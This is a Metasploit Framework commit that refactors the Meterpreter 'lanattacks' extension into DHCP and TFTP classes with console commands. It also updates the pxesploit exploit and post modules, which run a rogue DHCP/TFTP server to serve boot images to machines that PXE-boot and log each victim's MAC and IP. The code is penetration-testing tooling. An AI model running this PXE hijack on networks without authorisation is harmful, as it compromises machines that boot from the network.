Merge branch 'lanattacks_fix' of git://github.com/OJ/metasploit-framework into OJ-lanattacks_fix

bug/bundler_fix
scriptjunkie 2013-11-07 10:35:00 -06:00
commit 7615264b17
9 changed files with 636 additions and 91 deletions

View File

@ -0,0 +1,78 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/lanattacks/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Lanattacks
module Dhcp
###
#
# DHCP Server functionality
#
###
class Dhcp
def initialize(client)
@client = client
end
def start
client.send_request(Packet.create_request('lanattacks_start_dhcp'))
true
end
def reset
client.send_request(Packet.create_request('lanattacks_reset_dhcp'))
true
end
def set_option(name, value)
request = Packet.create_request('lanattacks_set_dhcp_option')
request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, name)
request.add_tlv(TLV_TYPE_LANATTACKS_OPTION, value)
client.send_request(request)
true
end
def load_options(datastore)
# TODO: change this so that all of the options are set in a single
# payload rather than firing off lots of calls separately
datastore.each do |name, value|
if Regexp.new('DHCPIPSTART|DHCPIPEND|NETMASK|ROUTER|DNSSERVER|BROADCAST|'+
'SERVEONCE|PXE|HOSTNAME|HOSTSTART|FILENAME|PXECONF|SRVHOST') =~ name
set_option(name, value)
end
end
end
def stop
client.send_request(Packet.create_request('lanattacks_stop_dhcp'))
true
end
def log
response = client.send_request(Packet.create_request('lanattacks_dhcp_log'))
entries = []
if( response.result == 0 )
log = response.get_tlv_value( TLV_TYPE_LANATTACKS_RAW )
while log.length > 0
mac = log.slice!(0..5)
ip = log.slice!(0..3)
entries << {
:mac => mac,
:ip => ip
}
end
end
entries
end
attr_accessor :client
end
end; end; end; end; end; end

View File

@ -2,6 +2,8 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/lanattacks/tlv'
require 'rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp'
require 'rex/post/meterpreter/extensions/lanattacks/tftp/tftp'
module Rex
module Post
@ -16,84 +18,27 @@ module Lanattacks
###
class Lanattacks < Extension
#
# Initializes an instance of the lanattacks extension.
#
def initialize(client)
super(client, 'lanattacks')
# Alias the following things on the client object so that they
# can be directly referenced
client.register_extension_aliases(
[{
[
{
'name' => 'lanattacks',
'ext' => self
},])
'ext' => ObjectAliases.new(
{
'dhcp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Dhcp::Dhcp.new(client),
'tftp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Tftp::Tftp.new(client)
}),
}
])
end
def start_dhcp
client.send_request(Packet.create_request('lanattacks_start_dhcp'))
true
end
def reset_dhcp
client.send_request(Packet.create_request('lanattacks_reset_dhcp'))
true
end
def set_dhcp_option(name, value)
request = Packet.create_request('lanattacks_set_dhcp_option')
request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, name)
request.add_tlv(TLV_TYPE_LANATTACKS_OPTION, value)
client.send_request(request)
true
end
def load_dhcp_options(datastore)
datastore.each do |name, value|
if Regexp.new('DHCPIPSTART|DHCPIPEND|NETMASK|ROUTER|DNSSERVER|BROADCAST|'+
'SERVEONCE|PXE|HOSTNAME|HOSTSTART|FILENAME|PXECONF|SRVHOST') =~ name
set_dhcp_option(name,value)
end
end
end
def stop_dhcp
client.send_request(Packet.create_request('lanattacks_stop_dhcp'))
true
end
def dhcp_log
response = client.send_request(Packet.create_request('lanattacks_dhcp_log'))
entries = []
if( response.result == 0 )
log = response.get_tlv_value( TLV_TYPE_LANATTACKS_RAW )
while log.length > 0
mac = log.slice!(0..5)
ip = log.slice!(0..3)
entries << [ mac, ip ]
end
end
entries
end
def start_tftp
client.send_request(Packet.create_request('lanattacks_start_tftp'))
true
end
def reset_tftp
client.send_request(Packet.create_request('lanattacks_reset_tftp'))
true
end
def add_tftp_file(filename, data)
request = Packet.create_request('lanattacks_add_tftp_file')
request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, filename)
request.add_tlv(TLV_TYPE_LANATTACKS_RAW, data, false, true) #compress it
client.send_request(request)
true
end
def stop_tftp
client.send_request(Packet.create_request('lanattacks_stop_tftp'))
true
end
end
end; end; end; end; end

View File

@ -0,0 +1,49 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/lanattacks/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Lanattacks
module Tftp
###
#
# TFTP Server functionality
#
###
class Tftp
def initialize(client)
@client = client
end
def start
client.send_request(Packet.create_request('lanattacks_start_tftp'))
true
end
def reset
client.send_request(Packet.create_request('lanattacks_reset_tftp'))
true
end
def add_file(filename, data)
request = Packet.create_request('lanattacks_add_tftp_file')
request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, filename)
request.add_tlv(TLV_TYPE_LANATTACKS_RAW, data, false, true) #compress it
client.send_request(request)
true
end
def stop
client.send_request(Packet.create_request('lanattacks_stop_tftp'))
true
end
attr_accessor :client
end
end; end; end; end; end; end

View File

@ -0,0 +1,60 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# Lanattacks extension.
#
###
class Console::CommandDispatcher::Lanattacks
require 'rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp'
require 'rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp'
Klass = Console::CommandDispatcher::Lanattacks
Dispatchers =
[
Klass::Dhcp,
Klass::Tftp
]
include Console::CommandDispatcher
#
# Initializes an instance of the lanattacks command interaction.
#
def initialize(shell)
super
Dispatchers.each { |d|
shell.enstack_dispatcher(d)
}
end
#
# List of supported commands.
#
def commands
{
}
end
#
# Name for this dispatcher
#
def name
"Lanattacks extension"
end
end
end
end
end
end

View File

@ -0,0 +1,254 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# The DHCP portion of the lanattacks extension.
#
###
class Console::CommandDispatcher::Lanattacks::Dhcp
Klass = Console::CommandDispatcher::Lanattacks::Dhcp
include Console::CommandDispatcher
#
# List of supported commands.
#
def commands
all = {
"dhcp_start" => "Start the DHCP server",
"dhcp_stop" => "Stop the DHCP server",
"dhcp_reset" => "Reset the DHCP server",
"dhcp_set_option" => "Set a DHCP server option",
"dhcp_load_options" => "Load DHCP optionis from a datastore",
"dhcp_log" => "Log DHCP server activity"
}
reqs = {
"dhcp_start" => [ "lanattacks_start_dhcp" ],
"dhcp_stop" => [ "lanattacks_stop_dhcp" ],
"dhcp_reset" => [ "lanattacks_reset_dhcp" ],
"dhcp_set_option" => [ "lanattacks_set_dhcp_option" ],
"dhcp_load_options" => [ "lanattacks_set_dhcp_option" ],
"dhcp_log" => [ "lanattacks_dhcp_log" ]
}
all.delete_if do |cmd, desc|
del = false
reqs[cmd].each do |req|
next if client.commands.include? req
del = true
break
end
del
end
all
end
#
# Name for this dispatcher.
#
def name
"Lanattacks: DHCP"
end
@@dhcp_start_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_dhcp_start_usage
print("dhcp_start [-h]\n\n" +
"Starts a DHCP server in the current Meterpreter session.\n" +
@@dhcp_start_opts.usage + "\n")
end
def cmd_dhcp_start(*args)
@@dhcp_start_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_dhcp_start_usage
return true
end
}
print_status( "Starting DHCP server ...")
client.lanattacks.dhcp.start
print_good( "DHCP server startd.")
end
@@dhcp_stop_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_dhcp_stop_usage
print("dhcp_stop [-h]\n\n" +
"Stops the currently running DHCP server.\n" +
@@dhcp_stop_opts.usage + "\n")
end
def cmd_dhcp_stop(*args)
@@dhcp_stop_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_dhcp_stop_usage
return true
end
}
print_status( "Stopping DHCP server ...")
client.lanattacks.dhcp.stop
print_good( "DHCP server stopped.")
end
@@dhcp_reset_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_dhcp_reset_usage
print("dhcp_reset [-h]\n\n" +
"Resets the currently running DHCP server.\n" +
@@dhcp_reset_opts.usage + "\n")
end
def cmd_dhcp_reset(*args)
@@dhcp_reset_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_dhcp_reset_usage
return true
end
}
print_status( "Resetting DHCP server ...")
client.lanattacks.dhcp.reset
print_good( "DHCP server reset.")
end
@@dhcp_set_option_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
@@dhcp_set_option_valid_options = [
"BROADCAST", "DHCPIPEND", "DHCPIPSTART", "DNSSERVER",
"FILENAME", "HOSTNAME", "HOSTSTART", "NETMASK",
"PXE", "PXECONF", "ROUTER", "SERVEONCE", "SRVHOST"
]
def print_dhcp_set_option_usage
print("dhcp_set_option <name> <value> [-h]\n\n" +
"Set a DHCP server option.\n\n" +
"Valid names are:\n" +
@@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') +
@@dhcp_set_option_opts.usage + "\n")
end
def cmd_dhcp_set_option(*args)
@@dhcp_set_option_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_dhcp_set_option_usage
return true
end
}
if args.length < 2
print_dhcp_set_option_usage
return true
end
name = args.shift.upcase
value = args.shift
if not @@dhcp_set_option_valid_options.include? name
print_error( "Invalid option name '#{name}'." )
return true
end
client.lanattacks.dhcp.set_option(name, value)
end
@@dhcp_load_options_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_dhcp_load_options_usage
print("dhcp_load_options <datastore> [-h]\n\n" +
"Load settings from a datstore to the active DHCP server.\n\n" +
"The datastore must be a hash of name/value pairs.\n" +
"Valid names are:\n" +
@@dhcp_set_option_valid_options.map {|o| " - #{o}\n" }.join('') +
@@dhcp_set_option_opts.usage + "\n")
end
def cmd_dhcp_load_options(*args)
@@dhcp_set_option_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_dhcp_set_option_usage
return true
end
}
if args.length < 1
print_dhcp_load_options_usage
return true
end
datastore = args.shift
if not datastore.is_a?(Hash)
print_dhcp_load_options_usage
return true
end
client.lanattacks.dhcp.load_options(datastore)
end
@@dhcp_log_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_dhcp_log_usage
print("dhcp_log [-h]\n\n" +
"Logs the DHCP operations captured by the DHCP server.\n" +
@@dhcp_log_opts.usage + "\n")
end
def cmd_dhcp_log(*args)
@@dhcp_log_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_dhcp_log_usage
return true
end
}
log = client.lanattacks.dhcp.log
table = Rex::Ui::Text::Table.new(
'Header' => 'DHCP Server Log',
'Indent' => 0,
'SortIndex' => 0,
'Columns' => [ 'MAC Address', 'IP Address' ]
)
log.each { |l|
table << [ l[:mac], l[:ip] ]
}
print_line
print_line( table.to_s )
print_line( "Total log entries: #{log.length}" )
print_line
end
end
end
end
end
end

View File

@ -0,0 +1,159 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# The TFTP portion of the lanattacks extension.
#
###
class Console::CommandDispatcher::Lanattacks::Tftp
Klass = Console::CommandDispatcher::Lanattacks::Tftp
include Console::CommandDispatcher
#
# List of supported commands.
#
def commands
all = {
"tftp_start" => "Start the TFTP server",
"tftp_stop" => "Stop the TFTP server",
"tftp_reset" => "Reset the TFTP server",
"tftp_add_file" => "Add a file to the TFTP server"
}
reqs = {
"tftp_start" => [ "lanattacks_start_tftp" ],
"tftp_stop" => [ "lanattacks_stop_tftp" ],
"tftp_reset" => [ "lanattacks_reset_tftp" ],
"tftp_add_file" => [ "lanattacks_add_tftp_file" ],
}
all.delete_if do |cmd, desc|
del = false
reqs[cmd].each do |req|
next if client.commands.include? req
del = true
break
end
del
end
all
end
#
# Name for this dispatcher.
#
def name
"Lanattacks: TFTP"
end
@@tftp_start_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_tftp_start_usage
print("tftp_start [-h]\n\n" +
"Starts a TFTP server in the current Meterpreter session.\n" +
@@tftp_start_opts.usage + "\n")
end
def cmd_tftp_start(*args)
@@tftp_start_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_tftp_start_usage
return true
end
}
print_status( "Starting TFTP server ..." )
client.lanattacks.tftp.start
print_good( "TFTP server startd." )
end
@@tftp_stop_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_tftp_stop_usage
print("tftp_stop [-h]\n\n" +
"Stops the currently running TFTP server.\n" +
@@tftp_stop_opts.usage + "\n")
end
def cmd_tftp_stop(*args)
@@tftp_stop_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_tftp_stop_usage
return true
end
}
print_status( "Stopping TFTP server ..." )
client.lanattacks.tftp.stop
print_good( "TFTP server stopped." )
end
@@tftp_reset_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_tftp_reset_usage
print("tftp_reset [-h]\n\n" +
"Resets the currently running TFTP server.\n" +
@@tftp_reset_opts.usage + "\n")
end
def cmd_tftp_reset(*args)
@@tftp_reset_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_tftp_reset_usage
return true
end
}
print_status( "Resetting TFTP server ..." )
client.lanattacks.tftp.reset
print_good( "TFTP server reset." )
end
@@tftp_add_file_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
def print_tftp_add_file_usage
print("tftp_add_file <file> [-h]\n\n" +
"Add a file to the currently running TFTP server.\n" +
@@tftp_add_file_opts.usage + "\n")
end
def cmd_tftp_add_file(*args)
@@tftp_add_file_opts.parse(args) { |opt, idx, val|
case opt
when '-h'
print_tftp_add_file_usage
return true
end
}
name = args.shift
print_status( "Adding file #{name} ..." )
client.lanattacks.tftp.add_file(name, ::File.read(name))
print_good( "File added." )
end
end
end
end
end
end

View File

@ -90,12 +90,12 @@ class Metasploit3 < Msf::Exploit::Remote
else
if datastore['RESETPXE']
print_status("Resetting PXE attack...")
client.lanattacks.reset_dhcp
client.lanattacks.dhcp.reset
end
end
print_status("Loading DHCP options...")
client.lanattacks.load_dhcp_options(datastore)
client.lanattacks.dhcp.load_options(datastore)
0.upto(4) do |i|
print_status("Loading file #{i+1} of 5")
if i < 4
@ -103,18 +103,18 @@ class Metasploit3 < Msf::Exploit::Remote
else
contents = initrd
end
client.lanattacks.add_tftp_file("update#{i}",contents)
client.lanattacks.tftp.add_file("update#{i}",contents)
end
print_status("Starting TFTP server...")
client.lanattacks.start_tftp
client.lanattacks.tftp.start
print_status("Starting DHCP server...")
client.lanattacks.start_dhcp
client.lanattacks.dhcp.start
print_status("pxesploit attack started")
while (true) do
begin
# get stats every 20s
select(nil, nil, nil, 20)
client.lanattacks.dhcp_log.each do |item|
client.lanattacks.dhcp.log.each do |item|
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
"(#{Rex::Socket.addr_ntoa(item[1])})")
report_note({
@ -124,9 +124,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
rescue ::Interrupt
print_status("Stopping TFTP server...")
client.lanattacks.stop_tftp
client.lanattacks.tftp.stop
print_status("Stopping DHCP server...")
client.lanattacks.stop_dhcp
client.lanattacks.dhcp.stop
print_status("PXEsploit attack stopped")
return
end

View File

@ -55,29 +55,29 @@ class Metasploit3 < Msf::Post
else
if datastore['RESETPXE']
print_status("Resetting PXE attack...")
client.lanattacks.reset_dhcp
client.lanattacks.dhcp.reset
end
end
#Not setting these options (using autodetect)
print_status("Loading DHCP options...")
client.lanattacks.load_dhcp_options(datastore)
client.lanattacks.dhcp.load_options(datastore)
0.upto(4) do |i|
print_status("Loading file #{i+1} of 5")
contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
client.lanattacks.add_tftp_file("update#{i}",contents)
client.lanattacks.tftp.add_file("update#{i}",contents)
end
print_status("Starting TFTP server...")
client.lanattacks.start_tftp
client.lanattacks.tftp.start
print_status("Starting DHCP server...")
client.lanattacks.start_dhcp
client.lanattacks.dhcp.start
print_status("PXEsploit attack started")
while (true) do
begin
# get stats every 20s
select(nil, nil, nil, 20)
client.lanattacks.dhcp_log.each do |item|
client.lanattacks.dhcp.log.each do |item|
print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+
"(#{Rex::Socket.addr_ntoa(item[1])})")
report_note({
@ -87,9 +87,9 @@ class Metasploit3 < Msf::Post
end
rescue ::Interrupt
print_status("Stopping TFTP server...")
client.lanattacks.stop_tftp
client.lanattacks.tftp.stop
print_status("Stopping DHCP server...")
client.lanattacks.stop_dhcp
client.lanattacks.dhcp.stop
print_status("PXEsploit attack stopped")
return
end